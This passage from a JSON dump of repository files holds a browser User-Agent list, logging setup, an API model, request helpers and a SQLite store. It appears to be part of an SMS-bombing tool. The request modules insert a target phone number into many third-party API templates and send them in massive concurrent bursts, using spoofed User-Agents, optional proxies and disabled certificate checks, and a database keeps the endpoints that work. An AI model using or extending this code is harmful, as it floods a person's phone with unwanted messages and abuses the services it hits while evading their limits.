Safari/536.11\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HCI0449; .NET CLR 1.0.3705)\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1);\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK)\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050118 Firefox/1.0+\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040707 Firefox/0.9.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.43 Safari/534.7\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\"\n    },\n    {\n        \"User-Agent\": \"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\"},\n]\n\n\ndef default_header_user_agent():\n    return random.choice(USER_AGENT_LIST)\n"
  },
  {
    "path": "utils/log.py",
    "content": "# encoding=utf8\n# 日志模块\nfrom loguru import logger\nimport pathlib\nimport sys\nimport os\n\n# 终端日志输出格式\nstdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \\\n    '[<level>{level}</level>] ' \\\n    '<cyan>{thread.name}</cyan> ' \\\n    '<blue>{module}</blue>:<cyan>{line}</cyan> - ' \\\n    '<level>{message}</level>'\n\n# 日志文件记录格式\n# logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \\\n#     '[<level>{level: <5}</level>] ' \\\n#     '<cyan>{process.name}({process.id})</cyan>:' \\\n#     '<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \\\n#     '<blue>{module}</blue>.<blue>{function}</blue>:' \\\n#     '<blue>{line}</blue> - <level>{message}</level>'\n\nlogfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \\\n    '[<level>{level}</level>] ' \\\n    '<blue>{module}</blue>.<blue>{function}</blue>:' \\\n    '<blue>{line}</blue> - <level>{message}</level>'\n\nlog_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')\nif not log_pathDir.is_dir():\n    log_pathDir.mkdir()\nlog_path = log_pathDir.joinpath('run.log').resolve()\n\nlogger.remove()\n\nif not os.environ.get('PYTHONIOENCODING'):  # 设置编码\n    os.environ['PYTHONIOENCODING'] = 'utf-8'\n\nlogger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)\n# 输出到文件\n# logger.add(log_path, level='DEBUG', format=logfile_fmt,\n#            enqueue=True, encoding='utf-8')\n\nif __name__ == \"__main__\":\n    logger.info(\"test\")\n"
  },
  {
    "path": "utils/models.py",
    "content": "# encoding=utf8\n# 一些模型\nfrom pydantic import BaseModel\nfrom typing import Union, Optional\nfrom datetime import datetime\nimport json\n\nfrom utils import default_header_user_agent\n\n\n\nclass API(BaseModel):\n    \"\"\"处理自定义 API 数据\"\"\"\n    desc: str = \"Default\"\n    url: str\n    method: str = \"GET\"\n\n    header: Optional[Union[str, dict]] = default_header_user_agent()\n\n    data: Optional[Union[str, dict]]\n\n    def replace_data(self, content: Union[str, dict], phone: str) -> str:\n        # 统一转换成 str 再替换. ' -> \"\n        if phone:\n            content = str(content).replace(\"[phone]\", phone).replace(\n                \"[timestamp]\", self.timestamp_new()).replace(\"'\", '\"')\n\n        # 尝试 json 化\n        try:\n            return json.loads(content.replace(\"'\", '\"'))\n        except:\n            return content\n\n    def timestamp_new(self) -> str:\n        \"\"\"返回整数字符串时间戳\"\"\"\n        return str(int(datetime.now().timestamp()))\n\n\n    def handle_API(self, phone: str=None):\n        \"\"\" 传入手机号处理 API\n        :param API: one API basemodel\n        :return: API basemodel\n        \"\"\"\n        # 仅仅当传入 phone 参数时添加 Referer\n        # fix: 这段代码很有问题.......\n        if phone:\n            # 进入的 header 是个字符串\n            if self.header == \"\":\n                self.header = {}\n                self.header['Referer'] = self.url  # 增加 Referer\n\n        self.header = self.replace_data(self.header, phone)\n        if not self.header.get('Referer'):\n            self.header['Referer'] = self.url  # 增加 Referer\n\n        self.data = self.replace_data(self.data, phone)\n        self.url = self.replace_data(self.url, phone)\n        # print(self)\n        return self\n"
  },
  {
    "path": "utils/req.py",
    "content": "# encoding=utf8\n# 请求的方法\nimport httpx\nfrom httpx import Limits\nfrom typing import Union, List\nimport asyncio\n\n\nfrom utils import default_header_user_agent\n\nfrom utils.models import API\nfrom utils.log import logger\n\n\ndef reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response:\n    if isinstance(api.data, dict):\n        resp = client.request(method=api.method, json=api.data,\n                              headers=api.header, url=api.url, timeout=10)\n    else:\n        resp = client.request(method=api.method, data=api.data,\n                              headers=api.header, url=api.url, timeout=10)\n    return resp\n\n\n\ndef reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:\n\n    \"\"\"通过代理请求接口方法\"\"\"\n    # 多手机号支持\n    if isinstance(phone, tuple):\n        phone_lst = [_ for _ in phone]\n    else:\n        phone_lst = [phone]\n    with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:\n        for ph in phone_lst:\n            try:\n                if isinstance(api, API):\n                    api = api.handle_API(ph)\n                    resp = reqAPI(api, client)\n                    logger.info(f\"{api.desc}-{resp.text[:30]}\")\n                else:\n                    api = api.replace(\"[phone]\", ph).replace(\" \", \"\").replace('\\n', '').replace('\\r', '')\n                    resp = client.get(url=api, headers=default_header_user_agent())\n                    logger.info(f\"GETAPI接口-{resp.text[:30]}\")\n                return True\n            except httpx.HTTPError as why:\n                logger.error(f\"请求失败{why}\")\n                return False\n\n\ndef reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:\n\n    \"\"\"请求接口方法\"\"\"\n    # 多手机号支持\n    if isinstance(phone, tuple):\n        phone_lst = [_ for _ in phone]\n    else:\n        phone_lst = [phone]\n    with httpx.Client(headers=default_header_user_agent(), verify=False) as client:\n        for ph in phone_lst:\n            try:\n                if isinstance(api, API):\n                    api = api.handle_API(ph)\n                    resp = reqAPI(api, client)\n                    logger.info(f\"{api.desc}-{resp.text[:30]}\")\n                else:\n                    api = api.replace(\"[phone]\", ph).replace(\" \", \"\").replace('\\n', '').replace('\\r', '')\n                    resp = client.get(url=api, headers=default_header_user_agent())\n                    logger.info(f\"GETAPI接口-{resp.text[:30]}\")\n                return True\n            except httpx.HTTPError as why:\n                logger.error(f\"请求失败{why}\")\n                return False\n\n\nasync def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):\n    \"\"\"异步请求方法\n\n    :param:\n    :return:\n\n    \"\"\"\n    # 多手机号支持\n    if isinstance(phone, tuple):\n        phone_lst = [_ for _ in phone]\n    else:\n        phone_lst = [phone]\n    async with semaphore:\n        async with httpx.AsyncClient(\n            limits=Limits(max_connections=1000,\n                          max_keepalive_connections=2000),\n            headers=default_header_user_agent(),\n            verify=False,\n            timeout=99999\n        ) as c:\n\n            for ph in phone_lst:\n                try:\n                    if isinstance(src, API):\n                        src = src.handle_API(ph)\n                        r = await reqAPI(src, c)\n                    else:\n                        # 利用元组传参安全因为元组不可修改\n                        s = (src.replace(\" \", \"\").replace(\"\\n\", \"\").replace(\"\\t\", \"\").replace(\n                            \"&amp;\", \"\").replace('\\n', '').replace('\\r', ''),)\n                        r = await c.get(*s)\n                    return r\n                except httpx.HTTPError as why:\n                    logger.error(f\"异步请求失败{type(why)}\")\n                    # logger.error(f\"异步请求失败{why}\")\n                    # import aiofiles\n                    # async with aiofiles.open(\"error.txt\",\"a\",encoding=\"utf-8\") as f:\n                    #     await f.write(f\"{str(s[0]) if str(s[0]) else str(src)}\\n\")\n                except TypeError:\n                    logger.error(\"类型错误\")\n                except Exception as wy:\n                    logger.exception(f\"异步失败{wy}\")\n\n\ndef callback(result):\n    \"\"\"异步回调函数\"\"\"\n    log = result.result()\n    if log is not None:\n        logger.info(f\"请求结果:{log.text[:30]}\")\n\n\n\nasync def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]):\n    \n\n    tasks = []\n\n    for api in apis:\n        semaphore = asyncio.Semaphore(999999)\n        task = asyncio.ensure_future(asyncReqs(api, phone, semaphore))\n        task.add_done_callback(callback)\n        tasks.append(task)\n\n    await asyncio.gather(\n        *tasks\n    )\n"
  },
  {
    "path": "utils/sql.py",
    "content": "# encoding=utf8\n# 读写sqlite数据库\nfrom pathlib import Path\nfrom utils.log import logger\nimport sqlite3\n\n\nclass Sql(object):\n    \"\"\"处理SQL数据\"\"\"\n\n    def __init__(self, db_path: Path) -> None:\n        '''初始化数据库'''\n        # 数据库路径\n        # db_path = Path.cwd().joinpath(\"api.db\")\n        # 连接数据库,不检查是否在同一个线程.\n        self.client = sqlite3.connect(\n            db_path, timeout=6, check_same_thread=False)\n        self.cursor = self.client.cursor()\n        self.newTable()\n\n    def newTable(self):\n        '''初始化表结构'''\n        sql = '''\nCREATE TABLE IF NOT EXISTS API200 (\n   id INT NULL,\n   url           TEXT    NOT NULL,\n   primary key (url)\n);\n            '''\n        self.cursor.execute(sql)\n        self.client.commit()\n\n    def update(self, url):\n        '''插入数据'''\n        sql = '''\n        INSERT INTO API200 (ID,url) VALUES (null,?)\n        '''\n        try:\n            self.cursor.execute(sql, (url,))\n            self.client.commit()\n            logger.success(\"插入成功!\")\n            return True\n        except sqlite3.IntegrityError:\n            logger.error(f\"数据重复!\")\n            return False\n\n    def select(self) -> list:\n        '''获取所有接口'''\n        sql = '''\n        SELECT url FROM API200;\n        '''\n        try:\n            self.cursor.execute(sql)\n            result = self.cursor.fetchall()\n            urls = []\n            for url in result:\n                urls.append(url[0])\n            return urls\n        except Exception as e:\n            logger.error('读取出现错误!', e)\n\n    def __del__(self) -> None:\n        '''对象被删除时执行的函数'''\n        logger.info(f\"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......\")\n        self.client.close()\n"
  }
]